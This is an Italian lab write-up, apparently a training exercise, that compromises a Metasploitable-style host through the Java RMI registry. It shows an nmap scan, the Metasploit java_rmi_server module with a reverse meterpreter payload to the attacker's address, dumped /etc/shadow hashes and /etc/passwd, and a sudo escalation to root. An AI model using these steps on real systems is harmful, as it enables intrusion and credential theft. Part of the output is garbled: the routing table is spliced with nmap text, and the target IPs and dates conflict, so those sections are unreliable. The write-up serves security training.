

Exploit Java RMI

Per prima cosa cambiamo gli indirizzi ip delle due macchine:

- **KALI: 192.168.99.111**
- **META: 192.168.88.112**

Dopo aver cambiato le configurazioni dell'ip lanciamo una scan generale sulla macchina bersaglio per trovare le varie porte aperte:

```
File Actions Edit View Help
(kali@kali)-[~]
$ nmap -p- 192.168.99.112
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-16 08:07 EDT
Nmap scan report for 192.168.99.112
Host is up (0.00086s latency).
Not shown: 65508 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgresql
6667/tcp  open  irc
6697/tcp  open  ircs-u
8009/tcp  open  ajp13
8180/tcp  open  unknown
8787/tcp  open  msgsrvr
35014/tcp open  unknown
35416/tcp open  unknown
35676/tcp open  unknown
50382/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 20.25 seconds
```

Troviamo la porta aperta 1099 aperta che offre il servizio rmiregistry. Quindi andiamo a cercare se esistono vulnerabilità. Provando con nessus ci da solo informazioni sul servizio ma non ci dice se ci sono vulnerabilità o se ci sono criticità. La cosa importante che ci dice su nessus è che il seguente servizio sulla porta 1099 serve per il trasferimento di file java con il protocollo http. Proviamo quindi a fare una scansione su nmap con lo switch -script vuln:

```
(kali@kali)~$ nmap -script vuln -p 1099 192.168.99.112

Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-16 08:10 EDT
Nmap scan report for 192.168.99.112
Host is up (0.0013s latency).

PORT      STATE SERVICE
1099/tcp  open  rmiregistry
| rmi-vuln-classloader:
|   VULNERABLE:
|     RMI registry default configuration remote code execution vulnerability
|     State: VULNERABLE
|       Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution.
|
|   References:
|     https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb
|_
Nmap done: 1 IP address (1 host up) scanned in 37.63 seconds
```

Con questa scan vediamo che il servizio è vulnerabile e ci da altre informazioni utili sul servizio. Andiamo quindi ad aprire msfconsole e vedere ce ci sono degli exploit da usare:

```
msf6 > search rmiregistry

Matching Modules
=====
#  Name                                     Disclosure Date  Rank   Check  Description
--  --
0  exploit/multi/misc/java_rmi_server        2011-10-15      excellent Yes     Java RMI Server Insecure Default Configuration Java Code Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/misc/java_rmi_server
```

abbiamo un solo modulo di exploit. Andiamo quindi a selezionarlo con use 0, lo settiamo e useremo il payload gia preimpostato:

```
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

Name      Current Setting  Required  Description
--      -
HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
RHOSTS    192.168.99.112  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     1099             yes       The target port (TCP)
SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT   8080             yes       The local port to listen on.
SSL       False            no        Negotiate SSL for incoming connections
SSLCert   False            no        Path to a custom SSL certificate (default is randomly generated)
URIPATH   False            no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--      -
LHOST     192.168.99.111  yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:

Id  Name
--  --
0   Generic (Java Payload)
```

lanciamo l'exploit con il comando exploit. Una volta creata la sessione andiamo a trovare le cose richieste dall'esercizio:

- Configurazione di rete:

```

Interface 1
=====
Name : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::
Interface 2
=====
Name : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.99.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe5f:c41c
IPv6 Netmask : ::

```

- Informazioni sulla tabella di routing:

```

meterpreter > route
https://nmap.org ) at 2023-04-16 08:10 EDT
Nmap scan report for 192.168.99.112
IPv4 network routes (latency).
=====
PORT      STATE SERVICE
Subnet    Netmask   Gateway   Metric   Interface
-----
127.0.0.1 255.0.0.0 0.0.0.0
192.168.99.112 255.255.255.0 0.0.0.0
IPv6 network routes
=====
Subnet    Netmask   Gateway   Metric   Interface
-----
::1
fe80::a00:27ff:fe5f:c41c
meterpreter >

```

- Cat /etc/shadow e cat /etc/passwd

```

meterpreter > cat /etc/shadow
root:$1$avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$fUX6BP0t$MiyC3Up0zQJqz4s5wFD9l0:14742:0:99999:7:::
sync:*:14684:0:99999:7:::
games:*:14684:0:99999:7:::

```

```

meterpreter > cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh

```

Con questi file ho fatto l'hanshadow dei due file e ho trovato i password dei vari user. Poi sono entrato su msfadmin e ho eseguito il comando sudo su per rientrare come root:

```

su msfadmin
id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugin),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
sudo su
[sudo] password for msfadmin: msfadmin
id
uid=0(root) gid=0(root) groups=0(root)

```

Ho notato che con questo root abbiamo anche i permessi da groups=0 cosa che con il root creato con il comando shell di meterpreter non abbiamo. In più ho provato il comando ps per vedere i vari processi e vedere se riuscivo a vedere il mio processo:

4752	/usr/sbin/apache2	www-data	/usr/sbin/apache2 -k start
4762	/usr/bin/rmiregistry	root	/usr/bin/rmiregistry
4766	ruby	root	ruby /usr/sbin/druby_timeserver.rb
4773	/usr/bin/unrealircd	root	/usr/bin/unrealircd

CONCLUSIONI: esistono molti modi per entrare in un server, bisogna trovare quello che funziona e cercare di capire come entrare e lavorare all'interno del servizio